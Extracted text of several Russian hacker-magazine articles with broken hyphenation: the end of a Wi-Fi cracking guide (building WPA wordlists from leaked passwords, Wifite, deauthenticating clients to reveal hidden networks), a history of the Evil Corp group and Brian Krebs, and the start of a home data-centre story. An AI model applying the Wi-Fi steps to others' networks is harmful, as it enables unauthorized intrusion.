одна ко  с  боль шой  веро ятностью  иско мой  ком бинации  в  этом  сло варе
не будет. Поэто му сто ит сде лать свой.

Как сос тавить свой сло варь?
Сна чала я соб рал кол лекцию сло варей из раз ных источни ков. Это были пре‐ 
дус танов ленные  сло вари  в  прог раммах  для  перебо ра  паролей,  каталог 

  в  самой Kali  Linux,  базы  утек ших  в Сеть реаль ных
паролей от раз ных акка унтов и под борки на про филь ных форумах. Я при вел
их к еди ному фор мату  (кодиров ке), исполь зуя ути литу  . Даль ше пере‐ 
име новал  сло вари  по  шаб лону  ,  где  ##  —  счет чик  из  двух  цифр.
Получи лось 80 сло варей.

/usr/share/worldlists/

recode
dict##

Объ еди няем 80 сло варей, про пус кая оди нако вые записи

На  сле дующем  эта пе  я  объ еди нил  их  в  один,  уда лив  явные  пов торы,  пос ле
чего  запус тил  ути литу    для  очис тки  объ еди нен ного  сло варя
от мусора. Пос коль ку пароль для Wi‐Fi может быть от 8 до 63 сим волов, я уда‐ 
лил все записи короче 8 и длин нее 63 зна ков.

PW‐Inspector

cat * > alldicts | sort | uniq
pw‐inspector ‐i alldicts ‐m 8 ‐M 63 > WPAMegaDict

За тем  я  подумал,  что  получил ся  слиш ком  здо ровый  файл,  который  мож но
сок ратить  силь нее  без  явно го  ущер ба  для  эффектив ности  перебо ра.  Ты
видел в реаль ной жиз ни пароли Wi‐Fi длин нее 16 сим волов? Вот и я не видел.

pw‐inspector ‐i WPAMegaDict ‐m 8 ‐M 16 > WPADict_8‐16

На  фай лооб менни ке  Кима  Дот кома  мож но 
(647 Мб в ZIP‐архи ве, 2,8 Гб в рас пакован ном виде).

ска чать  получив ший ся  сло варь

КАК ПЕРЕКЛЮЧИТЬСЯ В ДИАПАЗОН 5 ГГЦ?
Сна чала нуж но под клю чить Wi‐Fi‐адап тер с под дер жкой 5 ГГц и оснастить его
под ходящей  антенной  (они  тоже  дела ются  для  раз ных  диапа зонов).  Затем
прос то  запус ти Wifite  с  клю чом  ,  и  уви дишь  пятиги гагер цевые  точ ки  дос‐ 
тупа.  Обыч но  их  гораз до  мень ше,  чем  2,4  ГГц.  Свя зано  это  как  с  их  отно‐ 
ситель но  малым  рас простра нени ем,  так  и  с  мень шим  ради усом  дей ствия.
Чем выше час тота, тем (при про чих рав ных) быс трее затуха ет сиг нал.
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Вклю чаем режим 5 ГГц в Wifite

МОЖНО ЛИ АТАКОВАТЬ СКРЫТУЮ СЕТЬ?
Да. Если имя сети (ESSID) скры то, ты точ но так же видишь MAC‐адрес точ ки
дос тупа  во  вре мя  ска ниро вания  эфи ра.  Пер вый же  под клю чив ший ся  кли ент
рас кро ет  ее  имя.  Поэто му  прос то  подож ди  кон некта  или  ускорь  про цесс,
разос лав пакеты деаутен тифика ции.

Вы ясня ем имя скры той сети мимохо дом

ЗАКЛЮЧЕНИЕ
Ког да  я  писал  эту  статью,  то  ста вил  перед  собой  цель  помочь  читате лям
как мож но быс трее получить прак тичес кий резуль тат с нуля и поч ти без ущер‐ 
ба для понима ния сути про цес са. Мне хотелось умес тить в одну пуб ликацию
все  для  мощ ного  стар та  и  зажечь  искру  инте реса,  которая  под вигнет
на самос тоятель ное про дол жение.

На кур сах по пен тестам я не раз обра щал вни мание, что за свои кров ные
ты  получа ешь  инфу  не  пер вой  све жес ти.  В  ответ  пре пода вате ли  обыч но
говори ли, что рас ска зыва ют осно вы, суть не меня ется годами, поэто му вы уж
сами погуг лите и дорабо тай те наши матери алы напиль ником. На мой взгляд,
суть как раз в деталях, а они меня ются очень быс тро. Наде юсь, мой вымучен‐ 
ный кон спект поможет наб рать кру тиз ны тво ей кри вой обу чения.

WWW

•Он лайн‐перебор  хешей,  в  том  чис ле  из  хен‐ 
дшей ков WPA2

•Pyrit — еще одна ути лита для быс тро го перебо‐ 
ра паролей на ЦП и ГП

•Не кото рые трю ки при взло ме Wi‐Fi



ПРОТИВ КОРПОРАЦИИ ЗЛА

ОДИНОЧКА

КАК   БОРОЛСЯ
С РУССКИМИ ХАКЕРАМИ
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БРАЙАН КРЕБС

EVIL CORP
atreau

ВЗЛОМ

Ха кер скую груп пиров ку Evil Corp называ ют самой вре донос‐ 
ной и самой наг лой сре ди кибер прес тупни ков. За 

, а СМИ обсужда ют слу хи об их рос‐ 
кошном  обра зе  жиз ни  и  воз можных  свя зях  с  рос сий ски ми
спец служ бами.  Мы  пос тарались  попод робнее  разоб рать ся
в исто рии этой хакер ской груп пы, обра зе дей ствий и инс тру‐ 
мен тах, с помощью которых она дос тигла сво их сом нитель‐ 
ных успе хов и приз нания.

све дения
о ее чле нах аме рикан ское пра витель ство наз начило наг раду
в 5 мил лионов дол ларов

Гла вой  Evil  Corp  называ ют  Мак сима  Якуб ца.  Пра воох ранитель ные  орга ны
раз ных стран разыс кива ют его вот уже более десяти лет — еще в 2009 году
он прив лек к себе вни мание, учас твуя под ником aqua в кра же денег из каз ны
окру га Бул литт, штат Кен тукки. Об этом прес тупле нии писали в газете Wash‐
ington  Post,  с  которой  тог да  сот рудни чал  в  качес тве  экспер та  по  кибер‐ 
безопас ности  .Брай ан Кребс

Скрин шот из архи ва Брай ана Креб са с форума DirectConnections,
на котором aqua в 2011 году делил ся опы том

КРИМИНАЛЬНЫЙ ЗООПАРК: ДЕНЕЖНЫЕ МУЛЫ И КОЗЛЫ
ОТПУЩЕНИЯ
Уже  тог да  у  хакеров была отра ботан ная  схе ма дей ствий,  в  которой Мак сим
Яку бец  отве чал  за  работу  с  «денеж ными  мулами».  Так  называ ют  людей,
которые  выводят  день ги  из  бан ков ской  сис темы  (где  все  перево ды  отсле‐ 
жива ются и могут быть отоз ваны),  совер шая необ ратимые  тран закции.  Тра‐ 
дици онно  для  мошен ничес ких  схем  исполь зовалась  сис тема Western  Union,
но в пос леднее вре мя набира ет популяр ность крип товалю та Bitcoin.

Любопыт ный факт
Western Union фигури рует в качес тве пос редни ка в огромном чис ле исто рий
с отмы вани ем денег, мошен ничес твом и даже финан сирова нием  тер рориз‐ 
ма.  Иног да  они  пла тят штра фы —  аме рикан ско му  пра витель ству  пол милли‐ 
арда  дол ларов,  ирланд ско му —  пол тора  мил лиона  евро.  Пла тят  и  про дол‐ 
жают  работать,  не  обра щая  вни мания  на  обви нения  в  «недос таточ но  тща‐ 
тель ном  отсле жива нии  подоз ритель ных  тран закций».  Почему  им  это  схо дит
с рук? Ник то не зна ет навер няка, но, воз можно, это как‐то свя зано с их чрез‐ 
вычай но дли тель ным и пло дот ворным сот рудни чес твом с аме рикан ским пра‐ 
витель ством.  Western  Union  работа ла  над  обо рон ными  заказа ми,  которые
име ют отно шение к соз данию сис тем свя зи и управле нию ими. Такие дела.

Мно гие  люди  ста новят ся  «мулами»,  совер шенно  не  пред став ляя,  чем  они
занима ются  на  самом  деле  и  каковы  могут  быть  пос ледс твия  их  дей ствий.
В  «схе ме  Якуб ца»  в  «мулы»  вер бовали  на  абсо лют но  легаль ных  сай тах
с вакан сиями, обе щая работу из дома от име ни неболь ших, но солид но выг‐ 
лядящих  ком паний.  Более  того,  для  про вер ки  работос пособ ности  и  надеж‐ 
ности кан дидатов им давали пред варитель ные задания — нап ример, испра‐ 
вить  опе чат ки  и  грам матику  в  тек стах,  обе щая  зап латить  по  8  дол ларов
за килобайт. Тек ста ми же были деловые пись ма — от лица под став ной ком‐ 
пании хакеров в адрес ее под рядчи ков. Так что, ког да людям при ходи ло пись‐ 
мо  с  задани ем  совер шить  денеж ный  перевод,  оста вив  себе  5%  от  сум мы
в качес тве опла ты, они не удив лялись и выпол няли такое задание.

Удив лять ся  им,  разуме ется,  при ходи лось  потом,  ког да  ока зыва лось,  что
теперь  они  дол жны  всю  сум му  перево да  какому‐нибудь  бан ку.  Ведь  банк
всег да может отсле дить и отоз вать оши боч ные тран закции — и всег да най‐ 
дет, с кого взыс кать недос тающее. Таким обра зом, финан совую ответс твен‐ 
ность за деятель ность рус ских и укра инских хакеров в ито ге при ходи лось нес‐ 
ти аме рикан ским и евро пей ским домохо зяй кам и пен сионе рам.

НОВИЧКИ И ВЕТЕРАНЫ: СЛЕД ЗЕВСА С ОЛИМПА
КИБЕРПРЕСТУПНОСТИ
В исто рии с  каз ной окру га Бул литт двад цатид вухлет ний Мак сим Яку бец был
тес но  свя зан  с    —  уже  тог да  чрез вычай но  извес тным
хакером,  авто ром  .  За  поим ку  это го  пер сонажа ФБР  наз начило
поч ти столь же впе чат ляющую наг раду, как и за Якуб ца.

Ев гени ем  Богаче вым
тро яна Zeus

Ни одна статья с упо мина нием Евге ния Богаче ва не может обой тись
без это го фото с бен галь ской кош кой и дру гими атри бута ми рос кошной
жиз ни

Имен но  в  свя зи  с  этим  инци ден том  о  них  и  узнал  Брай ан  Кребс.  К  тому
момен ту  он  уже  дав но  был  зав сегда таем  откры тых,  полузак рытых  и  сов сем
зак рытых  хакер ских  форумов.  Были  у  него  и  какие‐то  пря мые  источни ки,
которые пре дос тавля ли ему информа цию из перепис ки хакеров.

Отку да дро виш ки?
Ра зуме ется,  как  Кребс,  так  и ФБР не рас кры вают  под робнос тей  сво их  рас‐ 
сле дова ний и источни ки информа ции. Но на сай те Креб са при водят ся мно‐ 
жес твен ные  кус ки  из  логов  Jabber‐перепис ки  хакеров,  и  эта  же  перепис ка
цитиру ется в докумен тах ФБР как важ ное сви детель ство. Перепис ка, разуме‐ 
ется,  велась  на  рус ском  (который  Кребс,  кста ти,  изу чает  уже  боль ше  пят‐ 
надца ти лет) — но что на сай те Креб са, что в офи циаль ных докумен тах ФБР
она дана  в  перево де на англий ский. И судя по  все му,  у  Креб са и ФБР этот
перевод  оди нако вый  (мак сималь но  связ ные  пред ложения  и  тща тель но
переве ден ные рус ские ругатель ства).

Что в перепис ке, что на форумах хакеры исполь зовали одни и те же при выч‐ 
ные ник ней мы. Кребс утвер жда ет, что такая неб режность в этих кру гах встре‐ 
чает ся  очень  час то  (что  изрядно  облегча ет  ему  отсле жива ние  «карь ерно го
рос та» инте ресу ющих его игро ков на аре не кибер прес тупнос ти). Богачев был
lucky12345 или slavik, а Яку бец — aqua.

Zeus
Zeus  —  мно гоком понен тный  бан ков ский  трой,  нас читыва ющий  мно жес тво
модифи каций. Основная фун кция зак люча ется в кра же паролей от бан ков ских
при ложе ний,  FTP‐кли ентов,  дру гих  прог рамм.  Тро ян  может  выпол нять  пос‐ 
тупа ющие с управля юще го сер вера коман ды, перех ватывать вво димые поль‐ 
зовате лем  в  бра узе рах  дан ные  (кей лог гинг  и форм граб бинг),  красть фай лы
cookies,  уста нав ливать в сис теме циф ровые сер тифика ты и уда лять их, бло‐ 
киро вать  дос туп  к  задан ным  кибер прес тупни ками  интернет‐ресур сам,  под‐ 
менять  стар товую  стра ницу  в  бра узе рах,  заг ружать  и  запус кать  прог раммы,
а так же уда лять фай лы на жес тком дис ке.

Ха керы не прос то обсужда ли покуп ку у Богаче ва «базовой вер сии» его тро яна
Zeus — они заказа ли ему модифи циро ван ную вер сию, Jabber Zeus,  которая
пересы лала  похищен ную  бан ков скую  информа цию  по  про токо лу  Jabber.
Это поз воляло зло умыш ленни кам край не опе ратив но пла ниро вать свои дей‐ 
ствия и управлять сво ей широко рас кинутой сетью тро янов — нап ример, они
мог ли  получать  Jabber‐сооб щения  о  том,  что  какая‐то  из  их  потен циаль ных
жертв попол нила свой бан ков ский счет.

На форуме Mazafaka обсужда ют при мене ние стан дар тной вер сии Zeus,
которой Богачев широко тор говал

Яку бец очень гор дился сот рудни чес твом с Богаче вым и их ори гиналь ной иде‐ 
ей,  в  срав нении  с  которой  все  осталь ные  поль зовате ли  Zeus  выг лядели
нович ками. Но пресс‐релиз ФБР сооб щает край не инте рес ные под робнос ти
рас сле дова ния, из  которых сле дует,  что имен но исполь зование Jabber‐про‐ 
токо ла и под вело хакер скую груп пу, а для Мак сима Якуб ца, воз можно, имен‐ 
но это событие сыг рало важ ную роль в его судь бе.

JABBER-БОЛТУН — НАХОДКА ДЛЯ ШПИОНА
Сле ди за руками: сей час мы рас ска жем, как рас сле дуют кибер прес тупле ния!
А так же ты узна ешь, как мно жес тво мел ких недоче тов скла дыва ются в боль‐ 
шие проб лемы.

Итак,  новая  вер сия  тро яна  пересы лает  раз личную бан ков скую  информа‐ 
цию  (логины, одно разо вые пароли, PIN‐коды, жур налы кей лог геров) по про‐ 
токо лу Jabber. Этот про токол — децен тра лизо ван ный, любой человек может
под нять свой собс твен ный сер вер. Ана лиз заражен ных компь юте ров показал,
что все они отправ ляют сооб щения на один сер вер на домене incomeet.com.

Даль ше  ФБР  выяс нило,  что  этот  домен  хос тится  на  сер вере,  при над‐ 
лежащем обыч ной ком пании‐хос теру. И что офис этой ком пании рас полага‐ 
ется  в  Нью‐Йор ке.  Пос ле  чего,  разуме ется,  им  не  сос тавило  тру да  изъ ять
сер вер  и  хорошень ко  изу чить  его.  На  сер вере  оста лось  огромное  чис ло
логов — и не толь ко тех ничес ких сооб щений тро яна, но и обыч ной перепис ки!
Ока залось,  что  хакеры исполь зовали свой  Jabber‐сер вер в  том  чис ле и для
коор динации дей ствий, и для прос той бол товни.

Ко нец  нем ного  пред ска зуем.  В  логах  перепис ки  наш лось  и  обсужде ние
той  самой  статьи  Брай ана  Креб са  в Washington  Post  (то  есть  пря мое  приз‐ 
нание  в  совер шенных  прес тупле ниях),  и  ник ней мы,  которые  хакеры  исполь‐ 
зовали как в чате, так и на форумах.

Спра вед ливос ти  ради  надо  ска зать,  что  хакеры  стре мились  свес ти
к  миниму му  обсужде ние  лич ной  информа ции.  Но  сле дова тели  пос тарались
и  смог ли  най ти  зацеп ки.  Луч шей  их  зацеп кой  стал  эпи зод,  ког да  хакеры
обсужда ли  аль тер натив ные  спо собы  свя зи —  и  aqua  (то  есть  Яку бец)  поп‐ 
росил ски нуть ему номер телефо на сво его сооб щни ка пись мом на элек трон‐ 
ную поч ту. Пос ле чего сооб щил адрес поч ты на mail.ru.

На  дво ре  сто ял  июль  2009  года.  Отно шения  меж ду  США  и  Рос сий ской
Федера цией были срав нитель но теп лыми, прак тикова лось в том чис ле и сот‐ 
рудни чес тво  пра воох ранитель ных  орга нов.  ФБР  обра тилось  за  помощью
к рос сий ским кол легам — и получи ло ее.

Рос сий ские пра воох ранитель ные орга ны переда ли ФБР крат кие, но весь‐ 
ма  информа тив ные  свод ки,  из  которых  сле дует,  что  в  ком пании  Mail.ru
активно с ними сот рудни чали. Выяс нилось, что на ука зан ный адрес при ходи‐ 
ли пись ма  как для  хакера aqua  (с  пред ложени ем написать  вирус),  так  и для
челове ка по име ни Мак сим Яку бец — который покупал билеты в турагентстве
и заказы вал дос тавку дет ской коляс ки на опре делен ный адрес в Мос кве.

Пос ле  это го,  разуме ется,  по  уста нов ленно му  адре су  пос ледовал  визит
силови ков и обыск. Аме рикан ским кол легам веж ливо сооб щили, что в дан ной
квар тире дей стви тель но был обна ружен некий Мак сим Яку бец, а так же жен‐ 
щина, лич ные дан ные которой тоже любез но переда ли в ФБР.

На этом спи сок любез ностей закон чился. С аме рикан ской сто роны, впро‐ 
чем, на этом работа не завер шилась — они про дол жили копать, что бы соб‐ 
рать  поболь ше  убе дитель ных  доказа тель ств.  Пот ребовав  сот рудни чес тва
от  Microsoft,  ФБР  отыс кало  Skype‐акка унт,  зарегис три рован ный  на  тот  же
email  с Mail.ru и на имя Мак сим Я. В спис ке  кон тактов это го акка унта обна‐ 
ружи лась жен щина, в которой смог ли уста новить ту самую осо бу, при сутс тво‐ 
вав шую в квар тире во вре мя обыс ка.

Эта же самая жен щина нес коль ко раз подава ла  заяв ление на получе ние
аме рикан ской  визы.  Судя  по  все му,  ее  въез ду  в  стра ну  не  пре пятс тво вали,
но скру пулез но вели досье, обра щая вни мание на изме нение брач ного ста‐ 
туса с замуж ней на раз веден ную, на сме ну фамилии и на отчес тво ребен ка,
которо го  она  в  2012  году  вез ла  с  собой  в  США.  Мно гочис ленные  детали,
вклю чая домаш ний адрес ребен ка и сов падение даты его рож дения с сооб‐ 
щени ем  из  чата  хакеров,  в  котором  aqua  хвас тался,  что  стал  отцом,  поз‐ 
волили ФБР удос товерить ся, что речь идет о пер вой жене и ребен ке Якуб ца.

Вот  толь ко  никако го  прак тичес кого  смыс ла  в  этом  не  было.  Яку бец  (как
и Богачев и мно гие дру гие разыс кива емые хакеры) за гра ницу Рос сии выез‐ 
жать не собирал ся. А Рос сия не собира лась его выдавать.

Ес ли  слу хи  о  том,  что  талан тли вым  хакерам  в  Рос сии  рано  или  поз дно
дела ют «пред ложение, от которо го невоз можно отка зать ся», вер ны, то мож но
пред положить, что визит силови ков и обыск в квар тире изме нил жизнь Мак‐ 
сима Якуб ца толь ко к луч шему.

Dridex
Dridex — мно гоком понен тный бан ков ский бот, име ющий мно жес тво вер сий.
Архи тек тура  троя  под разуме вает  наличие  набора  модулей,  каж дый
из которых несет свою фун кци ональ ную наг рузку. Для свя зи с управля ющим
сер вером  боль шинс тво  редак ций  Dridex  исполь зует  P2P‐про токол,  бот нет
децен тра лизо ван ный  и  одно ран говый,  что  зат рудня ет  вме шатель ство  в  его
работу  и  перех ват  управле ния.  Дан ные,  которы ми  бот  обме нива ется
с управля ющим сер вером, шиф руют ся.

В  про цес се работы Dridex  встра ивает ся  в  про вод ник  или  про цес сы бра‐ 
узе ров и далее выпол няет ся в  кон тек сте этих при ложе ний. По коман де зло‐ 
умыш ленни ков трой может устра ивать веб‐инжекты, перех ватывать вво димые
поль зовате лем дан ные  (кей лог гинг и форм граб бинг),  красть пароли, выпол‐ 
нять  пос тупа ющие  коман ды  и  похищать  кон фиден циаль ную  информа цию
на заражен ной машине.

К  2011  году Яку бец  соб рал  свою собс твен ную  хакер скую  груп пиров ку,  пос‐ 
тро енную вок руг нового тро яна Dridex (так же извес тно го как Bugat и Cridex).
ФБР счи тает, что имен но Яку бец был раз работ чиком и глав ным рас простра‐ 
ните лем  тро яна,  а  так же  коор динато ром  сети  денеж ных  мулов.  Дела  у  них
шли,  разуме ется,  не  всег да  ров но —  но  в   ФБР
ука зыва ются разовые хищения сумм в мил лион дол ларов и боль ше.

об винитель ном зак лючении

Глав ные лица Evil Corp — Игорь Турашев и Мак сим Яку бец

Эти  день ги  Яку бец  и  его  сооб щни ки  тра тили  на  дорогие  машины  и  про чие
пред меты рос коши, про жигая жизнь в сти ле мил лионе ров‐плей боев. Подоб‐ 
ный  образ  жиз ни  поз волил  Якуб цу  вой ти  в  узкий  круг  мос ков ской  «золотой
молоде жи», где он встре тил свою вто рую жену — Але ну Бен дер скую. С ней он
отды хал на самом дорогом курор те Кры ма и в 2017 году сыг рал свадь бу.

Але на Бен дер ская, жена Мак сима Якуб ца

Но, помимо счастья в лич ной жиз ни, новый брак при нес с собой и чрез вычай‐ 
но полез ные свя зи. Не то что бы у Якуб ца их сов сем не было — судя по все му,
в  его  груп пиров ке  Evil  Corp   

.
сос тоял сын  быв шего  мэра  Химок  Вла дими ра

Стрель чен ко
Од нако  женить ба  на  Але не  Бен дер ской  сде лала  Якуб ца  родс твен ником

еще  более  вли ятель ного  челове ка  по  име ни  Эду ард  Бен дер ский,  быв шего
спец назов ца ФСБ и пре зиден та бла гот воритель ного фон да быв ших силови‐ 
ков «Вым пел». По све дени ям аме рикан цев, в год свадь бы Яку бец уже совер‐ 
шенно точ но сот рудни чал с ФСБ, а в 2018 году получил лицен зию на работу
со све дени ями, сос тавля ющи ми государс твен ную тай ну.

Кадр из сва деб ного видео Мак сима и Але ны — жениха все вре мя сни ‐
мают, не показы вая лица, а само видео пытались вычис тить из Сети —
но не пре успе ли

WWW

Ес ли  тебе  инте рес но  более  под робно  узнать
о свя зях хакеров из Evil Corp с раз ными вли ятель‐ 
ными  людь ми  и  о  том,  кто  эти  люди  и  чем  они
занима ются, то в рус ско языч ной прес се есть нес‐ 
коль ко рас сле дова ний на эту тему. Начать мож но
с  .  Под робнее  почитать
об Эду арде Бен дер ском,  его  семье  и  репута ции
край не авто ритет ного охот ника мож но  .

ма тери ала  «Медузы»

здесь
И вот  еще под борка матери алов о  свя зях  этих

людей с орга низо ван ной прес тупностью:  ,  ,  ,
.

1 2 3
4

УСПЕХИ ОДИНОКОГО СТРЕЛКА
Рас сле дова ние ФБР,  свя зи  с  рос сий ски ми  силови ками, мил лионы  укра ден‐ 
ных дол ларов — все это чрез вычай но мас штаб ные исто рии, зат рагива ющие
мно жес тво  людей.  Но  исто рия  экспер та‐оди ноч ки  Брай ана  Креб са  сто ит
особ няком,  потому  что  ему  уда лось  сде лать  кое‐что,  с  чем  ФБР  не  спра‐ 
вилось.

Его  таинс твен ные  источни ки  дали  ему  информа цию  о  деталях  схе мы
по  работе  с  денеж ными  мулами,  которую  исполь зовал  Яку бец.  Что бы
выводить день ги из США, нуж но было дос таточ ное количес тво «мулов» и воз‐ 
можность опе ратив но с ними свя зывать ся, выдавать им ука зания и получать
от них их лич ные и бан ков ские дан ные. И так как мно гие «мулы» были людь ми
с невысо ким уров нем компь ютер ной гра мот ности, этот спо соб свя зи дол жен
быть дос таточ но прос тым в исполь зовании.

Ре шени ем  Якуб ца  ста ло  соз дание  сис темы  сай тов,  напоми нав ших  кор‐ 
поратив ные  пор талы  управле ния  пер соналом  —  с  про филя ми  сот рудни ков
и  рас сылкой  сооб щений,  выг лядев ших  нас толь ко  убе дитель но,  что бы  люди
искрен не верили, что работа ют на легаль ный, про фес сиональ ный биз нес.

Об щий вид сай та для работы с «мулами»

Од нако  во  всей  этой  сис теме был  один  изъ ян.  Любой  человек,  получив ший
ссыл ку на сайт, мог на нем зарегис три ровать ся — и более того, прос то меняя
номер  сооб щения  в  адресной  стро ке,  поль зователь  сай та  получал  воз‐ 
можность читать сооб щения, пред назна чен ные для дру гих поль зовате лей!

Фор ма вхо да на один из таких сай тов

И  Брай ан  Кребс  нес коль ко  лет  под ряд  имен но  этим  и  занимал ся.  Каж дое
утро он завари вал себе кофе и садил ся читать перепис ку за пос ледние сут ки,
в  которой  «денеж ным  мулам»  писали:  «Доб рое  утро,  %username!  Сегод ня
наш  кли ент  переве дет  вам  день ги,  пос ле  перево да  сни мите  их  налич ными
в сво ем бан ке и переш лите нам».

Лич ные сооб щения для мулов

Ра зуме ется,  «кли ента ми»  были  оче ред ные  жер твы  —  в  основном  пред ста‐ 
вите ли малого биз неса с пло хо налажен ной кибер безопас ностью. Но Брай ан
Кребс  ока зывал ся  пос ледним  рубежом  их  обо роны. Он  гуг лил  по  наз ванию
ком пании из хакер ских писем, находил их телефон и сооб щал, что фир му пря‐ 
мо сей час гра бят рус ские хакеры.

«Вы, ско рее все го, меня не зна ете, но вот вам мой сайт с информа цией
о  том,  кто  я  и  что  я  делаю. Ваши  зар плат ные  сче та  взло мали,  и  вы можете
потерять сущес твен ную сум му денег. Вам сто ит немед ленно поз вонить в ваш
банк  и  заморо зить  любые  перево ды  в  про цес се  офор мле ния,  пока  еще  не
слиш ком поз дно. Потом вы можете поз вонить мне и расс про сить меня о том,
как  я  все  это  узнал,  —  но  сей час,  пожалуй ста,  поз воните  в  ваш  банк»,  —
писал пос тра дав шим Брай ан.

Та ким  обра зом  порой  Брай ану  Креб су  уда валось  пре дот вра тить  прес‐ 
тупле ние  пря мо  во  вре мя  его  совер шения  и  изба вить  неболь шие  фир мы
от  серь езных  проб лем.  Но  порой,  разуме ется,  ему  не  верили —  и  Брай ану
при ходи лось беседо вать с полицей ски ми или аген тами ФБР. Впро чем, раз‐ 
говор с пра воох ранитель ными орга нами у него обыч но получал ся корот ким:
он незави симый иссле дова тель, обви нить его не в чем, а полиции он не боит‐ 
ся,  даже  может  про читать  прос тому  полицей ско му  лек цию  о  кибер прес‐ 
тупнос ти или прив лечь вни мание ФБР к серии прес тупле ний, которые ина че
агентство еще дол го не замеча ло бы из‐за малого мас шта ба жертв.

Час тень ко  Брай ану  уже  при ходи лось  всту пать  в  нап ряжен ные  беседы
с пред ста вите лями влас ти или кор пораций, ког да те про сили его задер жать
выход  оче ред ного  рас сле дова ния  или  и  вов се  не  пуб ликовать  его  в  инте‐ 
ресах следс твия или биз неса. Но Кребс 
утвер жда ет,  что  пра воох ранитель ные  орга ны  огра ничи вались  лишь  веж‐ 
ливыми  прось бами,  в  исполне нии  которых  он  не  видел  для  себя  никакой
выгоды. А с  кор пораци ями он и  вов се не намерен сот рудни чать. При мером
твер дости его убеж дений может слу жить исто рия с сай том зна комств Ashley
Madison,  пред ста вите ли  которо го  сна чала обе щали ему денег  за мол чание,
а пос ле выхода статьи —   судом.

в сво ем онлайн‐интервью на Reddit

гро зили
Так  что  Брай ан  Кребс  не  оста нав лива ется  в  сво их  рас сле дова ниях,  хоть

и прек расно зна ет,  что  хакеры тоже чита ют его блог, обсужда ют его статьи,
раду ются раз рыву кон трак та с Washington Post и даже 

. Извес тность — дело неп ростое: Кребс пишет,
что  однажды  он  захотел  зарегис три ровать ся  на  оче ред ном  хакер ском
форуме под сво им нас тоящим име нем, но админ при нял его ник нейм за шут‐ 
ку. А на дру гом форуме такой ник нейм уже был занят каким‐то круп ным спе‐ 
цом по воровс тву номеров кре диток.

пы тают ся под бро сить
ему нар котики через интернет

Мож но было бы пред положить, что сво ими пуб ликаци ями Кребс осложня‐ 
ет жизнь в пер вую оче редь самому себе. Но прак тика показы вает, что это не
так. Пуб ликации в аме рикан ском бло ге могут зас тавить хакеров повол новать‐ 
ся  или  воз гордить ся,  но,  ско рее  все го,  не  изме нят  их  обра за  дей ствий.
В край нем слу чае они поп робу ют сме нить ник нейм на форуме — но за ними
все  рав но  оста нет ся  хвост  из  их  ста рых  пос тов,  сле дов  прош лых  под вигов
и харак терный почерк. Все эти матери алы Кребс тща тель но собира ет в свой
архив, с помощью которо го он и про водит столь впе чат ляющие рас сле дова‐ 
ния.

Но в конеч ном сче те, пока меж ду США и Рос сий ской Федера цией нет сог‐ 
лашений о сот рудни чес тве пра воох ранитель ных орга нов и экс тра диции прес‐ 
тупни ков, хакерам мало что угро жает, если они не покида ют гра ниц Рос сии.
Кребс мно го пишет о том, что с кибер прес тупностью нуж но бороть ся в пер‐ 
вую оче редь за счет разум ных прак тик  кибер безопас ности и широко го рас‐ 
простра нения  информа ции.  Что  в  сов ремен ном  мире  в  «денеж ные  мулы»
могут  завер бовать  две над цатилет него  ребен ка  и  семиде сяти лет нюю  пен‐ 
сионер ку — если кто‐то не объ яснит им, что бес плат ный сыр быва ет толь ко
в мышелов ке.

ВЫВОДЫ
Из этих зах ватыва ющих исто рий сле дуют доволь но баналь ные выводы. Вни‐ 
матель ность  и  наб людатель ность  —  как  в  слу чае  с  Брай аном  Креб сом,
годами  собира ющим свои  архи вы и  отсле жива ющим свя зи одних  хакер ских
атак  с  дру гими, —  воз награж дает ся,  и  сыщик‐оди ноч ка  получа ет шанс  пре‐ 
дот вра тить прес тупле ние,  которое ФБР может лишь рас сле довать пос тфак‐ 
тум.

Бес печность же в воп росах безопас ности вре дит и биз несме нам, которые
не доверя ют сиг налам тре воги «Вас гра бят пря мо сей час!», и хакерам, сме‐ 
шива ющим на одном сер вере лич ную перепис ку с управля ющи ми коман дами
бот нета.  Вре дит  она  и  прос тым  людям,  купив шимся  на  обе щания  лег ких
денег в интерне те.

А  нас чет  спец служб,  невест  со  свя зями  и  бен галь ских  кошек  —  делай
выводы сам. Но ста рай ся при этом соб людать закон — пусть при мером тебе
будет сла ва не Мак сима Якуб ца, а Брай ана Креб са.
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КАК Я СТАЛ САМ СЕБЕ
ИНТЕРНЕТ‐ПРОВАЙДЕРОМ

Jason Hopper

ТРЮКИ

Ты про чел вер но: я уста новил у себя дома дата‐центр и стал
сам  себе  про вай дером.  Не  то  что бы  я  прос нулся  однажды
утром и  такой:  «Чем бы занять ся сегод ня? Ста ну собс твен‐ 
ным интернет‐про вай дером». Все про исхо дило пос тепен но.
Как в сказ ке «Каша из  топора» — в какой‐то момент я пос‐ 
мотрел  и  понял:  черт  побери,  да  я  же  сде лал  собс твен ный
дата‐центр! И если ты спро сишь: «Почему?», я отве чу прос‐ 
то: «Почему бы и нет?»

INFO

Это  перевод  статьи, 
в  бло ге  Hyperion  Gray.  Рас ска зал  Джей сон  Хоп‐ 
пер,  записал  Дэвид  Таулер,  переве ла  Алё на
Геор гиева.

впер вые  опуб ликован ной

На  самом  деле  глав ной  при чиной  ста ло  то,  что  я  очень  мно го  ска нирую
интернет. Это  не  какое‐то  сом нитель ное  ска ниро вание,  а  впол не  себе  кру‐ 
тое.  В  час тнос ти,  глу боко  ска нирую  каж дый  IP  в  интерне те  —  и  делаю
это  чрез вычай но  быс тро.  Что,  разуме ется,  дает  очень  серь езную  наг рузку
на мою сеть — и на железо тоже. Ска ниро вать так через тра дици онно го про‐ 
вай дера поч ти невоз можно: обыч но они име ют стро гие огра ниче ния, а дос‐ 
таточ ной про пус кной спо соб ности,  нап ротив,  не име ют.  Есть,  конеч но,  сер‐ 
висы,  которые  поз воля ют  исполь зовать  базу  дан ных,  но  с  ними  столь  объ‐ 
емное ска ниро вание ста новит ся слиш ком дорогим — и доволь но быс тро.

У меня было 250 тысяч дол ларов на сче ту одно го про вай дера VSP, да еще
и с  огра ниче нием по  вре мени  (как  я  к  это му  при шел — отдель ная боль шая
исто рия). И ког да эти день ги закон чились — а они закон чились, и быс тро, —
мне приш лось искать какой‐то дру гой вари ант.

Я стал при думы вать что‐то еще и пос ле некото рых под сче тов обна ружил,
что купить сер вер в моей ситу ации дешев ле — нас толь ко, что в ито ге он оку‐ 
пил ся  при мер но  за  пол года.  Боль шинс тво  ком паний  полага ют,  что  луч ше
поль зовать ся облачным про вай дером, — а может, все го лишь не хотят раз‐ 
бирать ся, — и прос то исправ но опла чива ют выс тавлен ные сче та. Но для тех‐ 
нологи чес ких  ком паний  вро де  нашей,  кому  нуж но  не  толь ко  сайт  захос тить,
